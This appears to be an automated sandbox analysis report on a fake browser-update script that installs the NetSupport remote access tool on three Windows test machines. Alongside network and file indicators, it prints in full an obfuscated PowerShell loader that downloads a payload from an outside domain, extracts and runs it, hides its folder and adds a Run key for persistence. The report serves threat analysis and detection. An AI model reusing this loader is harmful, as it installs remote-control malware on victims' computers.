Analysis Overview
SHA256
41632e707f7129a25d16c9137bdf4ce4f819a542ed33d8c444f9bd5693ecb975
Threat Level: Known bad
The file Update_browser_17.6436.js was found to be: Known bad.
Malicious Activity Summary
NetSupport
Blocklisted process makes network request
Executes dropped EXE
Loads dropped DLL
Checks computer location settings
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Script User-Agent
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-01-29 17:44
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-29 17:44
Reported
2024-01-29 18:13
Platform
win10v2004-20231215-en
Max time kernel
1166s
Max time network
1192s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\wscript.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX735\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4916 wrote to memory of 1028 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4916 wrote to memory of 1028 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1028 wrote to memory of 4948 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe |
| PID 1028 wrote to memory of 4948 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe |
| PID 1028 wrote to memory of 4948 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD='https://ghostcitygames.com/data.php?10037';$BuATdCvSzZ=(New-Object System.Net.WebClient).DownloadString($YcRUaMFmlNClPSqrBMHdbwxMrOErlyRD);$nHkEqkTJwNaPgGOsWZuUSkyXGs=[System.Convert]::FromBase64String($BuATdCvSzZ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqRKxBuNYN=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqRKxBuNYN -PathType Container)) { New-Item -Path $KqRKxBuNYN -ItemType Directory };$p=Join-Path $KqRKxBuNYN 'lol.zip';[System.IO.File]::WriteAllBytes($p,$nHkEqkTJwNaPgGOsWZuUSkyXGs);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqRKxBuNYN)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqRKxBuNYN 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqRKxBuNYN -Force; $FSDFSSD.attributes='Hidden';$s=$KqRKxBuNYN+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ripnoticebook.com | udp |
| RU | 91.219.150.105:443 | ripnoticebook.com | tcp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 105.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | ghostcitygames.com | udp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| US | 8.8.8.8:53 | 79.121.231.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 187.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.150.219.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.177.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| MD | 5.181.156.45:443 | tcp | |
| US | 8.8.8.8:53 | geo.netsupportsoftware.com | udp |
| US | 104.26.1.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.1.26.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 45.156.181.5.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.59.114.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.135.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 180.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.177.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.1.37.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 119.110.54.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 179.178.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 42.134.221.88.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.71.91.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 189.178.17.96.in-addr.arpa | udp |
Files
memory/1028-9-0x00000290DC210000-0x00000290DC232000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gx5ryzso.thn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1028-10-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp
memory/1028-11-0x00000290DC240000-0x00000290DC250000-memory.dmp
memory/1028-12-0x00000290DC240000-0x00000290DC250000-memory.dmp
memory/1028-15-0x00000290F4810000-0x00000290F4822000-memory.dmp
memory/1028-14-0x00000290F47E0000-0x00000290F47EA000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX735\PCICHEK.DLL
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
memory/1028-82-0x00007FFE86510000-0x00007FFE86FD1000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX735\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX735\HTCTL32.DLL
| MD5 | cfc887dd00b255f86a2f29764a33a8a5 |
| SHA1 | 898daadf3e5bbe53556b8001a6a8683833148813 |
| SHA256 | 34b55ccbbdc5a100879f14e3b206fb7e0f13367c68b683fe16b866d3135ed2d6 |
| SHA512 | 3aedd1b70ea1f798fbb5855d2377901bf2c19d89affc21a3fd6826b6628f0d7b78e919270f5cbc298667837216f1971efed62181110b393382dfc809e024ef49 |
C:\Users\Admin\AppData\Roaming\DIVX735\HTCTL32.DLL
| MD5 | 0270d0ec7bf77479f9826b89249f2bdb |
| SHA1 | e23c00370168f9c2a5436f12b6d89929f68b296d |
| SHA256 | 32f47f8e13761d6bf754b3f71930bb501bb960f9f978effed9f5f57734083e1d |
| SHA512 | ff02f3878206a7acb95464faf460e519d5c1d4355d8a2b1c564fdb9580f7341b9e39d4ae93d4625f78fe4c0610920c77d735f98e1e9fd76f3cf66d887ccb635c |
C:\Users\Admin\AppData\Roaming\DIVX735\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX735\msvcr100.dll
| MD5 | d2437e2e4ada7fd263b8fa2c37b0b651 |
| SHA1 | a4d103c62dc898ff8d505ddbebab16eaddcdf74e |
| SHA256 | a6d216f06df979a52b4c301ca55bce9c926f47f0bdfa1382a18a22279ce54885 |
| SHA512 | c0a14ee673929d2618198a474f36dc54e862d155760e63130592477805d52080a620818d3f37ad6b3f882ca70c7b873156868e7a3fc904865d42098427c12012 |
C:\Users\Admin\AppData\Roaming\DIVX735\MSVCR100.dll
| MD5 | ee1672e9428831a29dca52beae139637 |
| SHA1 | 1bbffe394ab0ef0d63295cf62f987a15c91ee3de |
| SHA256 | 6a85adf94a118605eb0effff8aa10479484b715576c5e398f7d157f63267349d |
| SHA512 | 2de4e5416b8a29e41aee4cb091f36065780153ab0dadca3ab65597cbe0657601a5793edad0803fd1ea84b1dbfea7ae2200d0a4b5171598d46b56d1b23addefb7 |
C:\Users\Admin\AppData\Roaming\DIVX735\msvcr100.dll
| MD5 | bdca69633cf9de21a43b1088caa3cf78 |
| SHA1 | 7fd683f5227ae64a98abe92affb1bcbc05adaa57 |
| SHA256 | 4259aec4f6d6a6651542802febae87b36a531088bde916d492719963e52c2df0 |
| SHA512 | 67b1a92f3880e4bc1050f925f62c0b15e4ef11ab185aae5fc4a50340c4aa36a988c8a0b1058a259d104c74497d8cb1c29299ef782cbe19df4f77e971843bc37b |
C:\Users\Admin\AppData\Roaming\DIVX735\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX735\PCICL32.DLL
| MD5 | 285f5b45473af8ae3416d1abe2d821ac |
| SHA1 | 4384aefaa6016a3c73ea4ddd3b985eb86e24b339 |
| SHA256 | 270dbb5709b3683328454f2ceec0a4701e762a68aa72ebad32bd8c457d8b0f1f |
| SHA512 | 5ff4f7dfb871965e71dd86cc10ea8764a96e9e45d4fb793078899b0a0c14fc6b95e262418347304af390b0344bce07403ac7ba9bbe2be485273cfa4cb63b5f57 |
C:\Users\Admin\AppData\Roaming\DIVX735\PCICL32.dll
| MD5 | 07a2966b6e658979e96677513d38528c |
| SHA1 | 50826ea50a65a33fdd6d66f927838419c309103f |
| SHA256 | e4d11778441f66539763a940832eacd21b33376b9e4694849f406023b00ca6c3 |
| SHA512 | d3791cd87aae7cc22cd1d403d4a18a4d209a626c1b235a29c64bbac69e5f5d092b6f580ccb2b26eed10c7ed3e35153e870a0f9b1cf5d6436fd6487708ed51663 |
C:\Users\Admin\AppData\Roaming\DIVX735\client32.exe
| MD5 | 63b944ca35164d5fa61f62bbd567a626 |
| SHA1 | 341f4a97f69bf8357a9572519aed372728e7e540 |
| SHA256 | 8cd1e5c76a8d56d1475013d86ac679d366dfaad49be5d2e09a4b928072d09729 |
| SHA512 | 786c2a49287d95ba79c2f135654dd0f359412154454cea76b6867052a0b994a874110d771888310078550e19477de326207bc6f71c02260efd1b20d4484b5b67 |
Analysis: behavioral3
Detonation Overview
Submitted
2024-01-29 17:44
Reported
2024-01-29 18:13
Platform
win11-20231222-en
Max time kernel
645s
Max time network
1188s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-4286256601-2211319207-2237621277-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX469\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1444 wrote to memory of 1476 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1444 wrote to memory of 1476 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1476 wrote to memory of 3844 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe |
| PID 1476 wrote to memory of 3844 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe |
| PID 1476 wrote to memory of 3844 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Update_browser_17.6436.js
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $tonGHdaiKzgPJZKDLbgqnKAaCddJBGR='https://ghostcitygames.com/data.php?13279';$wcxYhJdBcjnheJbUaL=(New-Object System.Net.WebClient).DownloadString($tonGHdaiKzgPJZKDLbgqnKAaCddJBGR);$hBUANYPnxoFGzDeoviuGSmKuNyRbvVuSjwu=[System.Convert]::FromBase64String($wcxYhJdBcjnheJbUaL);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $zsxuNkDUwDLTauGdgvX=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $zsxuNkDUwDLTauGdgvX -PathType Container)) { New-Item -Path $zsxuNkDUwDLTauGdgvX -ItemType Directory };$p=Join-Path $zsxuNkDUwDLTauGdgvX 'lol.zip';[System.IO.File]::WriteAllBytes($p,$hBUANYPnxoFGzDeoviuGSmKuNyRbvVuSjwu);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$zsxuNkDUwDLTauGdgvX)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $zsxuNkDUwDLTauGdgvX 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $zsxuNkDUwDLTauGdgvX -Force; $FSDFSSD.attributes='Hidden';$s=$zsxuNkDUwDLTauGdgvX+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe
"C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ripnoticebook.com | udp |
| RU | 91.219.150.105:443 | ripnoticebook.com | tcp |
| RU | 91.219.150.112:443 | ghostcitygames.com | tcp |
| MD | 5.181.156.45:443 | tcp | |
| US | 104.26.0.231:80 | geo.netsupportsoftware.com | tcp |
| US | 8.8.8.8:53 | 231.0.26.104.in-addr.arpa | udp |
Files
memory/1476-8-0x00000278DDDC0000-0x00000278DDDE2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yf1wgfak.1hi.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1476-10-0x00000278C59F0000-0x00000278C5A00000-memory.dmp
memory/1476-9-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp
memory/1476-11-0x00000278C59F0000-0x00000278C5A00000-memory.dmp
memory/1476-12-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp
memory/1476-13-0x00000278C59F0000-0x00000278C5A00000-memory.dmp
memory/1476-15-0x00000278DE2C0000-0x00000278DE2CA000-memory.dmp
memory/1476-16-0x00000278DE2F0000-0x00000278DE302000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX469\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX469\PCICL32.dll
| MD5 | d3d39180e85700f72aaae25e40c125ff |
| SHA1 | f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15 |
| SHA256 | 38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5 |
| SHA512 | 471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f |
C:\Users\Admin\AppData\Roaming\DIVX469\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX469\MSVCR100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\DIVX469\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
memory/1476-82-0x00007FFFC1F60000-0x00007FFFC2A22000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX469\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX469\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX469\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-29 17:44
Reported
2024-01-29 18:12
Platform
win10-20231215-en
Max time kernel
629s
Max time network
1193s
Command Line
Signatures
NetSupport
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\wscript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-721438792-2341338383-2410509276-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX576\\client32.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeSecurityPrivilege | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3164 wrote to memory of 2596 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3164 wrote to memory of 2596 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2596 wrote to memory of 4576 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe |
| PID 2596 wrote to memory of 4576 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe |
| PID 2596 wrote to memory of 4576 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Users\Admin\AppData\Roaming\DIVX576\client32.exe |
Processes
C:\Windows\system32\wscript.exe
